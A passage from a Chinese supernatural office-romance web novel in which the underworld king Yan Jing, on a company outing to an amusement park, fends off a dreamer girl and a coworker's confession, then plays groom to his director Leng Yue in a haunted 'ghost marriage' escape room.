终于轻轻点头。
黄大仙跳下地,与黄仙儿一同跪下,连连叩首。
这时,闻不聊和尚十分合时宜地念了一声,“阿弥陀佛。”
此间事了,三人回到公司时,里头已是一片欢腾。
团建方案显然人事已经公布,众人正争相传颂冷樾总监的丰功伟绩。
“冷总监是天,冷总监是神,冷总监说的话就是圣旨和经文。”
可就这么一群本事滔天,出去皆能震慑一方的人物,竟为这点小事高兴成这样。
“游乐园!游乐园!游乐园!”办公室众人跟疯了一样。
阎璟瞧着这普天同庆的场景,只觉得有些好笑,唇角不自觉弯起了弧度。
白念生像是发现什么稀奇事,一把揽过他肩膀,把人揽到自己怀里,“阎小璟,原来你会笑啊!”
阎璟转头,无言语的看他。
“你来这么久,我还是头一回见你笑,可真难得。”
“是吗?”阎璟自己倒是没怎么注意。
两步之遥,冷樾的目光落在白念生那条搭着阎璟的胳膊上。
目光冰冷,只一眼,便让白念生喉头一紧,默默把手收了回来。
其实阎璟原本是爱笑的。
只是后来,地府里日复一
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日的高强度工作压得他难以喘息,又因为独自一个人生活太久,又鲜少有值得开心之事。
久而久之,便不怎么笑,或者说,忘了该怎么笑了。
冷樾视线落在他的身上,眼底温柔几乎要满溢出来,云为衫悄摸晃悠到冷樾身边,“要不要我帮你一把。”
冷樾脸色一变,“听不懂你在说什么?”
“还装?阎小璟不就是推荐来的嘛!人家才刚毕业,你也不怕别人说你老牛吃嫩草!”
冷樾冷冷瞅她一眼,“站好。”
“真的,我帮你把人追到手,听姐姐的,你这样温水煮青蛙是不行滴,太慢!”
冷樾还真的认真在思考自己的策略是否有问题,“条件?”
“让我留薪,休息一年。”
冷樾低垂眼眸,达成共识,“成交。”
此刻阎璟,已经被挤在安饶和闻不聊中间,白念生堵在他前面,拿着手机给拍他照,说要拿去卖给其他部门的大黄丫头,“快点,笑!”
阎璟:嘿嘿。
咔嚓!
照片里阎璟那个笑比哭还难看!
白念生自己也看不下去,哪有人笑这么僵的。
阎璟想跑,“饶了我吧!我不行!”
“男人不能说不行。”
阎璟换了套说辞,不知道上次听谁说的,还带着浓浓的口音,“那我不中。”
冷樾看不下去,大步流星走过去,把阎璟从那堆道士和尚堆里拉出来,护在身后。
角落里,人事部的几个小姑娘捂嘴偷笑,窃窃私语:“就说我磕的CP是真的……巴拉巴拉。”
晚间,阎璟洗漱完毕后,躺在床上,兴奋的滚来滚去。
这还是他第一次去游乐园玩,之前他在电视上看到过,摩天轮,大摆锤,海盗船,鬼屋……等等。
“没想到这次都能玩到真的了。”
冷樾帮他把衣服叠放整齐,又把他房间里的花换新,最后把被毯整理好,把人塞进被窝,“知道你高兴,今天好好休息,明天才有精力好好玩。”
阎璟确实兴奋,那双眼睛在灯光下闪闪发光。
团建当天,都没让冷樾叫起床,他自己起的比谁都早,可以说是,直接破了阎璟到人间界的早起记录。
公司其他人都是公司楼下集合,统一跟大巴车出发,冷樾是自己开车,阎璟便顺理成章搭他的车,从家里单独出发。
游乐园就在本市,门票已统一买好,人手一张。
金乔觉那个人太狗,只要不动用人事部的预算,花别人的钱向来大方,因此买的是全票,所有项目一票通行!
冷樾的手机不时传来叮咚声,全是金乔觉发来的消费账单。
阎璟好奇不已,提醒冷樾手机一直在响。
冷樾一手扶着方向盘,另一只手拿起手机,发了段语音过去,“再发一条,所有费用你自己承担。”
那边瞬间安静下来,甚至连一句回复都没敢再发。
阎璟今天穿得一身米白色慵懒风的运动套装,休闲舒适,墨镜和鸭舌帽都是冷樾的,主打一个青春男大,轻松自在。
两人抵达时,其他人已陆陆续续开始检票入场。
白念生远远看见阎璟走来,使劲朝他挥手示意。阎璟也抬起手回应,表示自己看到了。
冷樾指了指另一边人少的进口,“我们从那里进去。”
阎璟点头,跟着他的脚步,拍拍他的肩,指着不远处那两个牛头马面,“你看,那个爱八卦的保安也来了。”
冷樾瞅一眼不远处的那辆车牌,心里犯嘀咕,那人不是说不来了吗?
递过手里的两张票,带着阎璟顺利通过安检。
谁知,两人刚进大门口,阎璟就被一位长像甜美的女孩子,当场给拦了下来。
“是你,就是你,我终于找到你了。”
32. 被告白的阎王大人
“我终于找到你了!”
女孩激动的声音引得周围的游客侧目,还有不远处同事也纷纷回头驻望。
白念生那耳朵尤其灵敏,瞧着一大清早有瓜吃,直接闻着味就过来了。
反观阎璟只看到那女生激动得在原地转圈圈,一头雾水。
紧接着就听那女孩说,“虽然梦醒之后,你的样子我记得不太清了,但你刚刚一出现在我面前,我就知道一定是你。”
?
阎璟愣在原地!
冷樾不动声色地将人往身侧护了护,像是防备着这姑娘一个冲动手舞足蹈直接扑上来。
“哇,阎小璟桃花够旺的啊!”不远处的云为衫感叹一句。
“大学时候谈的女朋友?”崔经理明显在状况外。
“不能吧?你是说阎小璟大学时谈女朋友,毕业就改谈男朋友了?这么一说,还是咱们樾总魅力高。”孟小七还是那个腐到骨头里的那个腐女。
“造孽啊……”
一片低低的议论声中,女孩又往前半步,眼睛亮晶晶的望着阎璟。
“我是那个哆啦A梦呀!你不记得我了吗?”
哆啦A梦?
此时,阎璟才猛然想起,是在遇见沈松岩的晚上,在街上穿着哆啦A梦睡衣乱跑的生魂,被他一个脑瓜崩弹回去的女孩子。
只是眼前的女孩把头发扎起,略施淡妆,气质清爽干净,和当时迷迷糊糊头发散乱的模样判若两人,难怪他没认出来。
“原来是你。”阎璟恍然大悟。
“我叫林小软,在京华大学读大四,还有几个月就毕业了,这段时间在找实习单位呢,今天有空,所以跟室友出来玩玩,没想到会遇到小哥哥。”见阎璟认出她来,眼睛弯成月牙,笑盈盈地说道。
阎璟顿时松了口气,却一时不知该接什么话,只干巴巴道了一句,“你好。”
“你们也是来玩的吧!我可以跟你们一起吗?”林小软语气充满期待,努力发出邀请。
只是阎璟还没来得及开口,身侧的冷樾已经淡淡回绝,“不方便。”
“你是他朋友吧?”林小软又把目光转向冷樾,再看向阎璟,来回几个回合,“那我跟着你们,可以吗?”
其实林小软有个不为人知的能力,就是入梦。
所以长年被梦境所扰,但每次都是入梦快,出梦慢。
最慢的一次睡了三天三夜才醒过来,把父母给急得,差点去山神庙拜黄大仙人。
而刚好那一次,就是被阎璟脑瓜崩给弹了回去。
阎璟注意到冷樾的脸色冷淡下来,似有不悦,而他自己也不喜欢热情过头的人,再三温和拒绝,“不好意思,今天是公司集体活动,不太方便。”
“啊,明白明白!”林小软倒也不纠缠,爽快的摆摆手,“那我不打扰你们啦!”
说着就和旁边的闺蜜一起后退给他们让路。
闺蜜悄悄在后面给他比手势,“放心,都拍到了。”
冷樾和阎璟好不容易跟上大部队,那对八卦搭档又笑嘻嘻地凑了过来,白念生压低声音打趣,“这唱的是哪一出?孟姜女千里寻夫不成?”
阎璟十分无奈地瞥了他们一眼,“你们可真行,我本来清汤寡水的日子,全靠你这张嘴,被编排得风生水起。”
白念生哈哈笑起来,“生活太无聊,找点乐子嘛。”
冷樾抬眸望了眼前方云为衫的背影,淡淡接话,“云组长似乎也挺喜欢找乐子,尤其是你的。”
白念生立马辩解,“别瞎说,我才不喜欢她。”
冷樾勾起嘴角,“我什么也没说。”
阎璟故作惊讶地挑眉,“原来你喜欢云组长,我说你上次为什么支援这么快,饭都没吃。”
“我不吃是因为食堂的饭菜不好吃。”白念生反驳道。
居然没有反驳他喜欢云组长?
旁边的孟小七已经捂着嘴笑弯了眼,“哇塞!女A男O呀!你们这对也太好磕了吧!”
白念生僵在原地,一脸石化的表情,眼睁睁看着他们几人说笑着走远,半晌才回过神来,朝着背影喊道,“喂!你们别造谣啊!我他妈真的会死很惨的!”
冷樾和阎璟相视一笑,眼里都有几分促狭。
阎璟心中暗爽:这就叫风水轮流转。
让他每天造自己的谣!
游乐场里灯火绚烂,旋转木马载着一个个不肯长大的梦,在城市的喧嚣中心缓缓转动,多对情侣,前后追赶,拍照打卡留恋,连空气都仿佛透着棉花糖的甜。
阎璟是第一次来,看什么都觉得新奇,眼睛亮晶晶的四处张望,“哇——!”
冷樾走到一旁的自动贩卖机,买了几瓶水,递给他一瓶。
阎璟接过水,却急着拽住冷樾的袖子,“我能去玩那个吗?”
他手指的方向,海盗船正高高荡起,留下一串兴奋的尖叫。
“看起来就很好玩,还有蹦极!”
“过山车也要!”
冷樾本就是陪他来玩的,自然点头应允。
阎璟立刻像只撒欢的小动物,第一时间冲向排队的人群。
看着他雀跃的背影,冷樾摇头轻笑,不紧不慢地跟上去。
白念生也被孟小七拉走去玩别的项目。
海盗船这边排队的队伍移动得很快,眼看就要轮到他们。
冷樾还在后面不急不躁的走着,阎璟看了几眼,又着急折返,拉住冷樾的手腕就往里冲。
终于在闸门关闭的最后一秒,两人挤进了海盗船的座位。
“你坐过这个吗?”阎璟一边系安全带一边兴奋地问。
“嗯,没有,听说坐两头最刺激!”冷樾低头检查安全扣,又检查一遍阎璟的,“你想坐两头?”
“当然想!”阎璟喜欢刺激!
只是可惜,最两边的位置早已被其他游客占据,他们只能坐在中间的位置。
而他们对面的座位上,恰好是何狂与安饶几人,同样满脸跃跃欲试。
然而这份兴奋并没能持续多久。
海盗船刚刚开始加速摆动,幅度逐渐增大,两分钟后,阎璟就注意到对面的何狂脸色开始发白,一只手紧紧捂着嘴,身体微微发抖。
“他在干嘛!”
冷樾也渐渐皱起眉头。
阎璟忽然意识到什么,睁大眼睛,“喂……你别吐啊!”
海盗船再一次从高处俯冲而下,阎璟的心都悬到嗓子眼,尤其是看到何狂越来越难看的脸色,他忍不住朝安饶喊,“安……安安安安饶!快堵住他!别让他吐!”
冷樾十分无语,一只手却轻轻覆上阎璟紧紧抓着扶杆的手,低声说,“别紧张,他憋的住!”
“能不紧张吗?他要是真吐了……我在他下方,会恶……”会恶心死,这比要他的命还严重,阎璟话没说完,船体又猛地荡向高处。
阎璟侧过头,看见冷樾望向自己的眼睛,竟含着一丝很淡的笑。
真是,什么时候了还笑!
一场惊心动魄的海盗船,确实让阎璟刺激到极点,不过是拜了对面的何狂所赐。
何狂更刺激,下了船就趴在垃圾桶上狂吐。
安绕在一旁捂着鼻子一脸嫌弃的给他顺气。
“……”
阎璟的表情实在太有趣,一副完全被惊呆的模样。
冷樾不合时宜地笑出了声,阎璟这才回过神来,立刻找他算账,“还笑?你还真够淡定。”<
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“还玩吗?”冷樾眼底的笑意仍未散去。
“下一个。”阎璟下定决心,今天非要把所有项目玩遍不可。
冷樾看着前面这个还带着几分少年气的人,目光柔情似水,为什么安排来游乐园,也是因为觉得他会喜欢,“小璟,我有些话想单独跟你说……”
冷樾话音未落,旁边就有一个孩子突然跑过来,将手里的玫瑰花,塞到阎璟的手里。
什么情况?
阎璟还未反应过来,又一个孩子跑近,塞给他第二朵玫瑰。
接二连三,阎璟手里已经捧满了玫瑰。
他抬头看向冷樾,询问道:“这是什么新新节目吗?”
冷樾心有所惑,心头隐隐浮起一种大事不太妙的感觉。
果不其然,人事部那几个女孩子的推搡着另一位女生从人群中走出来。
女生步伐有些犹豫,耳朵通红,手里握着一封信羞答答走到阎璟面前。
冷樾微眯眼睛,静默不语,只一眼就看穿对方的意图。
“阎璟,我是技术部的成天天,我观察你很久了,直到今天,才打算鼓起勇气告诉你,其实,我喜欢你!”
阎璟听的一愣,这姑娘叽里咕噜说什么?
冷樾目光微凉:“……”
敢当他的面,翘他墙角。
再一看不远处人群中,藏在在人后的金乔觉,心中暗道好样的!
不止他,还有混在那群队伍后面的莫职,同样目光炯炯,看的津津有味,甚至悄悄拿出手机在群里转直播。
公司专业八卦群里顿时炸开了锅。
云为衫不知道去玩了哪个项目,看不到人,但群里是第一个冒头,“这妹子行动力可以啊!有没有兴趣来我们A组。”
安饶跟上接话,“我怎么闻到了火药的味道。”
后面:“金经理还能活着看到明天的太阳吗?!”
“阎小璟一日不定下来,一日都有人惦念。”
“看到没,冷总监脸色都变了……“
阎璟怔愣片刻,才微微躬身,十分感谢,“谢谢。”
女生也愣住了,这不太对吧!“我说我—喜—欢—你。”
“我说谢谢了。”阎璟答得很认真,脸上迷茫,觉得自己并没说错啊!
“这……算是拒绝的意思吗?”女孩的眼泪在眼眶里打转,声音里带着哭腔,几乎下一秒就快哭出来。
阎璟有些于心不忍,语气放缓,解释道:“不是对你,是我,我的问题,我一心修道,所以,远离世俗欲望。”
没想到女孩哭的更凶,“你别糊弄我,我知道,你们这些道士是可以娶妻结婚的,A4组的闻不聊和尚还有个女朋友呢!”
无辜躺枪的闻不聊:“……”
和尚心存侥幸,还好之前做过背调,就知道这家公司企业文化堪忧,什么都瞒不住,好在没人知道他交往的其实是男朋友!
阎璟也吃一大惊:和尚也有对象了?
他仍然摇头,十分有诚意,“抱歉。”
女孩终于满脸失望离而去,可惜那封漂亮的情书,压根没有送出去的机会。
冷樾的目光始终落在阎璟脸上,这人从一开始错愕,震惊,茫然,惊讶,最后再利落的拒绝,都全然入了他的眼。
阎璟这个人,从来都清楚自己想要什么。
“玫瑰虽然好看,但他不属于我。”阎璟将怀里的花放在刚刚经过的旋转木马的检票口处,便离开了。
给有情的小情侣,应该不算浪费花的价值吧!
“对了,冷樾。”阎璟忽然想到什么,“你刚才想跟我说什么来着?”
冷樾轻咳一声,以拳抵唇,“……没什么,走吧!”
33. 冥婚惊魂密室逃脱1
阎璟这边发生这么大的瓜,八卦二人组是一点也没有吃到。
从海盗船再往里深走,便是摩天轮,老远就看到白念生蹲在路边捂着头哀嚎,“我不去,这么幼稚的项目我才不玩,人家都是情侣去的,我和你算怎么回事嘛!你说吧!你是不是暗恋我!”
“你去撒泡尿照照行吗?咱两都不是一个物种。人鬼情未了啊!”孟小七强行拽他,软磨硬泡不见效,直接生拉硬扯。
无奈白念生就是蹲在原地不肯动,“你要去就叫你那绯闻男友陪你去,我可不奉陪。”
孟小七刚想反驳,阎璟和冷樾那两位,一看就是一对。
话还没出口,就看见那一对正缓缓朝他们这边走来。
她连忙拽白念生起来,给他递眼色,生怕这人说出找死的话来,“别说了,人过来了。”
“谁来都一样,就算老大现在站我面前,我也不去。”
孟小七赶紧岔开话题,“得得得,那就不去,我们去玩角色扮演吧,怎么样?”
“那是什么?”
“带你见识见识人间的‘妖魔鬼怪’,看看跟你家那边的比,哪个更吓人?”孟小七翻出游乐园指引地图,指着其中一栏,“喏,这次开放的主题叫《冥婚》。”
“老掉牙!”白念生不屑地撇嘴,“就这?都是假的!假的!假的!”
……
画风陡然一转。
眼前乌漆嘛黑,不见天日。
“啊——我靠!救命啊救命——”孟小七突然抱头惨叫起来,“白念生,有什么东西在拉我的脚!”
吓得她二话不说,逮住对方闭着眼睛就是一通乱揍。
黑暗中传来“啪啪”的声响,不知道是打到对方的脸还是手,然后,孟小七持续输出却不见声。
估计是对方用手臂挡了几下,随后急急忙忙的出声,声音很熟悉,也很无奈,”是我!”
白念生退了回来,拉住已经疯魔的孟小七,低头一瞧,惊讶出声,“云组?”
白念生把孟小七撂一边,连忙摸黑把云为衫给扶起来,“你怎么蹲在这儿?还拽孟小七的腿。”
云为衫揉揉手臂,又揉揉脸,一脸痛苦,“我在里面遇到唐老鸭了,本想吓他一下,没想到他的反应跟小七一样,被他乱七八糟一通揍,揍完就跑,我也没追上,于是就在这坐坐缓缓,在群里看一会八卦。”
“八卦!有八卦!”孟小七刚被吓完就忘了害怕,眼睛开始放光。
“你们没看到。”云为衫也挺疑惑,按理说,这两个应该在吃瓜一线才对吧!
此时的两人,才想起来出手机看消息。两人同时摇头,“木有啊!”
云为衫哦一声,“金乔觉发经理那个群里了。”
“赶紧转我们,我要看我要看。”
云为衫低头又把刚刚金乔觉录的视频转A组内部小群。
白念生透过屏幕的光看到云为衫眼角处微微发红,分不清这到底是孟小七打的还是唐老鸭打的?
孟小七瞬间来劲了,我靠!“这姐妹要拆我cp!”
白念生这才把目光放到视频上,“哎呀”一声,“天了噜!”
早知道他刚刚就不走了,哪怕冷樾再怎么眼神威压,他也要死皮赖脸留下来才对,这样就不会错过现场直播了,“这白白错过了一个亿啊!”
白念生一脸郁闷蹲在角落里懊恼,半晌抬头询问云为衫,“唐老鸭也来了?”
唐老鸭是谁?就是伦晖集团的CEO岳晖同志,平常因为喜欢穿着一身唐装,带着装逼的墨镜,拿把折扇跑去跟老太太跳广场舞。
白念生和孟小七同时沉默起来,“他不是说不来这,要去看广场舞了吗?”
云为衫:“谁知道抽什么风,说团建少了他这个主心骨不行。”
“那他现在人呢?”白念生问。
“追了一阵,他左拐右拐,拐前头去了吧!”
“……该不会,是去玩冥婚了吧?”孟小七拿出地图,“咱们所在的这地方是鬼屋,俗称恐怖屋。旁边就是密室逃脱,这两个地方就一门之隔,你们看,密室逃脱这次主题就是冥婚。他该不会是……”
冷樾和阎璟两人刚从摩天轮上下来,就听到一阵破天荒的惊悚的叫声冲破天际。
“啊!!!!!!!”叫声真难听。
阎璟指指声音传来的方向,“他们好像在那边。”
“过去看看。”
两人正准备抬脚过去时,阎璟听到识海中秦广王传来的语音通话,声音虔诚且恭敬,“大人,您上次传信来,说要调取六道轮回系统的密码,我已经让小鬼给你送去了。他还给你带了彼岸花饼干,你现在在哪里呢?”
阎璟顿住脚步,按捏太阳穴,一阵无语,这个时候过来,可真会挑时候。
一个密码,就不能直接语音说出来吗?能一下子留这么多语音,几个数字密码都讲不出来?还有,谁要吃彼岸花饼干!
冷樾见他突然停住脚步,还以为他身体不适,忙问:“怎么了?”
“没事。”
阎璟晃晃脑袋,他可不想这个时候召唤小鬼,若是被冷樾看到,那还了得。
“咱们是继续玩,还是过去凑热闹。”
“那边是什么?”阎璟问。
“应该是密室之类的。”
阎璟一向不喜人多,但是那边乌漆嘛黑,倒是很适合召唤小鬼。
进去后找个无人的角落,赶紧把事办了,然后就出来,应该耽误不了几分钟。
两人刚到鬼屋的门口,就看到云为衫捂着眼睛,从旁边一处后推门出来,后面还跟着白念生和孟小七。
不远处的安绕,闻不聊不知道何时凑在一起,何狂在后面,苍白的脸,生不如死,估计是刚从跳楼机上下来。
“阎小璟。”孟小七跑的飞快,云为衫在后面捂着一只眼睛哎呦不停。
“你们打架了?”阎璟好奇问。
“没有,刚从旁边的鬼屋出来。”白念生瞧着那红印子还挺严重。
冷樾不动声色看了一眼云为衫,问:“这是小白打的。”
“天地良心,我比窦娥还冤枉。”白念生在一旁连连摆手,指了指旁边跟鬼屋挨着的密室逃脱,“不是我,是唐老鸭,他在玩那个冥婚主题的密室逃脱,叫的真难听!”
孟小七心虚在一旁不敢说话。
云为衫啧啧两声,“估计是金乔觉那个大嘴巴,告诉他今天有戏看,所以来凑热闹的。不过,确实有好戏看,是吧,阎小璟。”
虽然她嘴里喊着阎小璟,但眼神一直瞄着冷樾,冷樾转过脸,懒得看她那张被扇红的脸颊。
“走吧!既然岳晖总来了,一起去打个招呼!”
何狂那样子是进不去了,安饶陪他。
和尚对这些不感兴趣,接了通电话就说有事,打算离开此地独自外出办点事,外面已有车辆来接他。
“女朋友?”孟小七问。
“……”闻不聊十分淡定,“不是。”
除却这几个,其他几人往密室出发。
孟小七虽然菜,但满脸期待,嬉皮笑脸凑过去,“阎璟,你会不会怕?”
“不会。”笑话!他怎么会怕这些个?他可是阎王。
向来妖魔鬼怪怕他还差不多!
”此地没有工作人员吗?咱们直接进去?”
“咯吱”推门声。
待一行五人纷纷踏入场地,背后的门重重又快速“砰!”一声忽然合上,所有人始料未及,猛的回头,愣在原地。
“哇塞,有点搞头。”白念生吹了个流氓哨。
随着声音响起:欢迎各位来到沉浸式演艺剧场,本次体验主题《冥婚》,请各位拿好身份牌。
孟小七拿的最快,其次是白念生云为衫,阎璟和冷樾是最后拿的!
门关闭后,一瞬间的黑暗,将外面的世界隔离。
瞬间恐惧氛围就有了实质,沉甸甸的压在每个人心头。
刚刚还问阎璟怕不怕的孟小七是第一个怂的。
“你不是孟婆的传人吗?还怕这个?”白念生贴着她耳朵边嘲笑他。
“你不懂,他们这些NPC有时够一惊一乍的,小心脏受不了。”
白念生白了他一眼,显然对他这份说辞不接受,“刚刚小黑屋你都受不住,干脆,别玩了。”
孟小七人菜瘾大,“不,我要玩。”
这里这么多人,她怕个球!
几人继续深入。
这味道?
阎璟鼻尖一嗅,果然空气里弥漫着腐朽的旧木头,还有一丝若有若无的沉香,不似庙宇之间的那种,像是陈年的供香。
“嘀嗒——嘀嗒——”
若是仔细听,还能听到不远处传来很有规律的水滴声,四周空气也变得愈发死寂。
“这地方,真有意思。”冷樾先是面无表情,朝周围扫视一大圈,心想能把道具做的这么逼真,也挺不容易。
只是……
阎璟见冷樾似乎对这环境挺好奇,四处张望,可在他眼里,这些都跟孩子过家家一样,完全难登大雅之堂。
于是,他拽一下冷樾的袖子,“你要是害怕就跟紧我。”
冷樾转头微笑,点点头,很小声的贴在他耳边,“我实在害怕,你能牵我的手吗?”
阎璟见前面几人都沉浸在游戏里,并未注意到走在后面
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的他们,于是,他伸出一只手紧紧拉住了冷樾,安抚他,“别怕。”
冷樾回握他的手,满足的笑了。
步行数十步,他们此刻正身处于一条狭窄的走廊,一直往前走,两侧是粗糙的砖墙,脚下是凹凸不平的石板路。
孟小七看了一眼刚拿到的身份牌,凑到白念生耳边,小声说,“我的是【喜娘】……你呢?”
白念生举着牌子,借着手机屏幕上的微光,看清自己木牌上刻着的两个小字,脸一垮,也不敢相信自己看到的,“【轿夫】?我??”
他堂堂冥界地府未来最出色的判官,抬哪门子轿?
运气真差!
云为衫很有兴致不停打量四周环境,竖起牌子给白念生看,上面写着【宾客】。
阎璟低头看了看自己手里的木牌,眉头紧蹙,这手气也没谁了!
【新郎】
冷樾在他身侧,垂眼一扫,遂又拿起自己的木牌上一瞧,好家伙,赫然是【新娘】二字。
“……”
冷樾面无表情,两根手指拈着木牌边缘,似乎下一刻就要把它给扔了拉倒。
“噗……新娘?”云为衫眼尖的很,回头一看,赶紧捂上嘴,肩膀抖得厉害。
阎璟心想:还有人比他手气更差的,心里瞬间平衡了。
白念生也注意了,憋着笑,停顿半步,等阎璟跟上来,小声调侃道,“阎小璟,你好福气啊!某个姓冷的,运气可就差了点”
冷樾没理他,只是侧目看望向阎璟。
身下的手,被阎璟握紧,传递无声的温暖。
这么一想,在这乌漆嘛黑的地方,也不全然是坏处。
至少,他觉得不坏。
穿过狭窄的走廊,终于看到第一个NPC。
因为是突然出现在走廊尽头,着实吓到人菜瘾大的孟小七一大跳,条件反射躲在云为衫身后,惹得她一阵白眼,“出息。”
引路的NPC,是个穿着暗红色褂子,脸上画着惨白妆容消瘦的中年男人。
他手上提着一盏白纸灯笼,声音透着阴冷,幽幽开口,“吉时将至,请诸位各归其位。新郎新娘,请随我来,更衣上妆。”
NPC提的灯笼亮光有限,只勉强照亮他身前那一小块地方。待他背过身来后,更显身后黑得深不见底。
阎璟没动,看向冷樾。
冷樾的身份是新娘,怎么也躲不掉,低声道,“去看看。”
于是两人跟着那NPC,朝更深的黑暗走去,很快,两人身影便被黑暗吞没。
剩下的几人面面相觑。
孟小七有点怕,搓了搓胳膊,“怎么感觉……更冷了?”
“心理作用。”云为衫一脸不以为意,竖起耳朵,“你们听,是不是有唢呐声?”
白念生跃跃欲试,“已经开始步入正轨了。”
孟小七抱住云为衫的胳膊,小声哀求,“云姐,能让我抱抱吗?我怕。”
白念生也抱住云为衫的另一只胳膊,“云姐,我也怕。”
云为衫把他扔一边,“你给我滚。”
唢呐声断断续续,听的不怎么清晰,更重要的是,不知到音源是从哪个方向飘来的,曲调古怪异常,忽远忽近。
“请诸位宾客,移步前厅观礼。”
“啊!”孟小七再一次被旁边突然冒出来的绿袄子的画着老婆婆装容的NPC吓到。
不能怪,她脸上涂着夸张的腮红,笑容还十分僵硬。
好敬业啊!
几人被引着,一步一个脚印地往前走。
走廊似乎是看不到尽头,直到那老婆婆带他们拐过一个弯,又拐一个弯,再拐一个弯,最后拐一个弯,眼前才豁然出现一个披红挂彩的喜堂。
喜堂宽敞,大红的绸布挂满了梁柱,正中间是一个巨大的囍字。
但却是白纸剪成的,在加上前面跳跃的烛火映射,反而显得格外诡异。
除了他们三个,在喜堂固定的位置上,已经站了几位宾客,看上去都是面无表情的NPC,直挺挺的立在阴影里。
“不是说岳晖总来了吗?他人呢?”孟小七用气声问。
她的目光都在对面那些NPC身上,好诡异,同时又把云为衫的胳膊抱的更紧了些。
”放心,肯定能碰到。他是从鬼屋那边的门进去的,没走正门,估计会跟我们来个迎面痛击也说不定。”云为衫道。
白念生毫不在意,“真是为老不尊,吓死他得了。”
就在这时,唢呐声突然响起,再猛地拔高,一瞬间变得尖锐刺耳!
三人组同一时间赶紧捂住耳朵。
“吉——时——到——!”
34. 冥婚惊魂密室逃脱2
一声拖长了声音尖利的调子,打破了喜堂里几人的声音。
然后从正堂侧面的帘幕后面,缓缓走出来两个人。
白念生吆喝一声,“嚯!太顶了。”
一开始觉得那些NPC诡异的孟小七,瞬间也不觉得怕了。
就因为面前这两张脸太有权威性和安全感。
只见阎璟换上了一身复古的红色长袍,胸前系着一朵绸花,红色衬得他肤色白皙,在烛光下,有一种不顾人死活的艳美。
而跟在他身侧的冷樾,竟真的被套上一身大红嫁衣,宽袍大袖,刺绣精美,头上还非常合时宜,顶着一块绣着鸳鸯戏水的红盖头。
冷樾身量高,那嫁衣只够到他膝盖部位,穿在身上说不出的违和感。
而且那整张脸都快结霜了,靠近半步都会被他冻伤。
孟小七抱住云为衫的手臂,因为憋笑不自觉用了力,死死咬住嘴唇才没笑出声。
白念生已经偷偷摸出手机,手指蠢蠢欲动,这画面就跟九星连珠那概率也差不多,就算冒着生命危险,也得记录一下,因为实在是千年难遇啊!
云为衫可不怕冷樾那张冷冰冰的死人脸,毫不客气笑出了声。
其实阎璟心里也是想笑的!
刚才在里面换衣服时,这人就全身写着抗拒。
他都换好在一旁等着了,他还盯着那喜服全程黑脸,阎璟在一旁未出声,默默等他。“如果你不想穿,咱们就不穿了。我没关系。”
阎璟刚说完这句话,冷樾便拿起喜服套在身上,红盖头还是自己给他盖上的,虽然一开始抗拒,但却出奇的配合。
“一拜天地——”NPC开始走流程。
阎璟没什么反应,冷樾更是纹丝不动。
真拜啊!
唱礼的司仪NPC,见状,只能僵硬的再重复一遍,“一拜天地!”
空气再次陷入凝滞状态。
白念生的手机正录着呢,不断撺掇两人,“拜啊!快拜啊!”
阎璟叹了口气,看了红盖头下的冷樾一眼,心想这确实真难为他们这位总监大人了。
新人没有动静,那宾客们不乐意了。
突然,靠近最前的一个宾客NPC,猛地抬起头,不带任何感情,就直勾勾盯向冷樾的方向,嘴角咧开一个吓人的弧度,声音带着嘶哑,阴森森开口询问:“新娘子……难道不愿拜堂?”
他这一动,其他几个NPC,也齐刷刷转头,无数道目光全汇聚在冷樾和阎璟身上,动作整齐划一,嘴角都咧同一个弧度,像是提线木偶般。
“卧槽!”白念生头皮一麻。
孟小七原本就很在意这几个诡异的NPC,当她都面突然来这么一下,差点把她魂吓飞,下意识将云为衫抱得更紧。
已经紧到云为衫开始有痛感,“你轻点,我这是肉。”
冷樾依旧静立,弯腰侧身,小声告诉阎璟,“我身体动不了了,像是被什么东西禁锢住,得麻烦你带动。”
阎璟一时诧异,连忙查看冷樾的情况,果然,那喜服的后面贴着一道禁锢符,“怪不得。”
刚刚出来时还没有,现在突然就出现了,有人在操控。
阎璟想到的,冷樾也能想到。
可是,到了这一步,不拜也不行。
阎璟上前,轻轻握住了冷樾那只温热的手,动作自然又随意,很像一对默契的新人,小声在他身前说道:“我带你。”
“新娘害羞。”阎璟这才抬眼,目光扫过那几个蠢蠢欲动准备冲过来,如提线木偶般的NPC,语气平淡,却很有力量,“这堂,我带着他拜。”
说罢,他拉着冷樾,朝着那白纸囍字的方向,微微颔首。
此时,烛火噼里啪啦爆了一下。
那几个NPC表情瞬间平缓下来,也没有一开始的躁动,更没有冲上来的动作。
旁边唱礼的司仪张了张嘴,嘴唇微动几下,晃了晃脑袋,拖着嗓子继续喊:“二拜高堂——”
高堂位上空无一人,只有两把披着红绸的太师椅。
阎璟拉着冷樾,再次微微躬身。
“夫妻对拜——”
这一次,阎璟转过身,面对着冷樾。
鸳鸯戏水近在咫尺,他甚至能隐约看到盖头下,冷樾那高耸挺拔的鼻梁和下巴的轮廓。
按白念生的话说,这人长得确实很带劲。
阎璟握着冷樾的手,一直没有松开,甚至稍稍收紧了些,然后,在八卦三人组和那诡异的NPC的目光注视下,缓缓弯下了腰。
冷樾身体扭动几下,似是在挣扎,终是随着他的力道,也低下了头。
就这样,两人的额头,隔着薄薄的红盖头,轻轻碰在了一起。
唢呐声,戛然而止。
云为衫觉得很有意思,在一旁捂着嘴偷笑,“真有意思。”
冷樾这厮也太能装,要不是实在过于了解他,还真被他给骗过去了,阎小璟道行太浅,在他面前完全不够看。
“礼——成——”司仪的声音里带着一丝不易察觉的颤抖和挣扎,“送入……”
“洞房”二字还未出口,喜堂另一边的侧面,紧闭的一扇木门后,突然传来一声相当难听的惨叫,那声音还有些熟悉。
“啊——!!鬼啊!有鬼!!!救命啊——!!!”
冷樾很想把红盖头掀开,查看什么情况。
可他身体一直处于被禁状态,阎璟想趁着没人注意撕掉那道符,可是两次都被反弹了回来。
冷樾一只手被阎璟紧紧握着,像是无声的在安抚他,告诉他别怕。
冷樾懂了,也回了他,“我不怕。”
下面的白念生和云为衫默契对视一眼,眼神瞬间变得严肃起来。
紧接着,耳边就听到“砰!”一声巨响,那侧边的那扇木门被大力撞开,一个人影快速扑了出来。
不是别人,正是他们公司的一把手——岳晖老总。
云为衫,白念生,孟小七三人同时惊讶出声,“唐老鸭!”
可那唐老鸭脸上毫无血色,眼里满是惊恐,看见喜堂里的众人先是一喜,
视线一转,问,“台上新娘是谁?”
“冷樾啊!”白念生相当理直气壮。
唐老鸭听到人是冷樾是新娘,再看那身装扮时,眼睛瞪得几乎脱眶,这比看到怨鬼还让人惊悚。
后面一转再看到云为衫,似乎看到救命稻草。
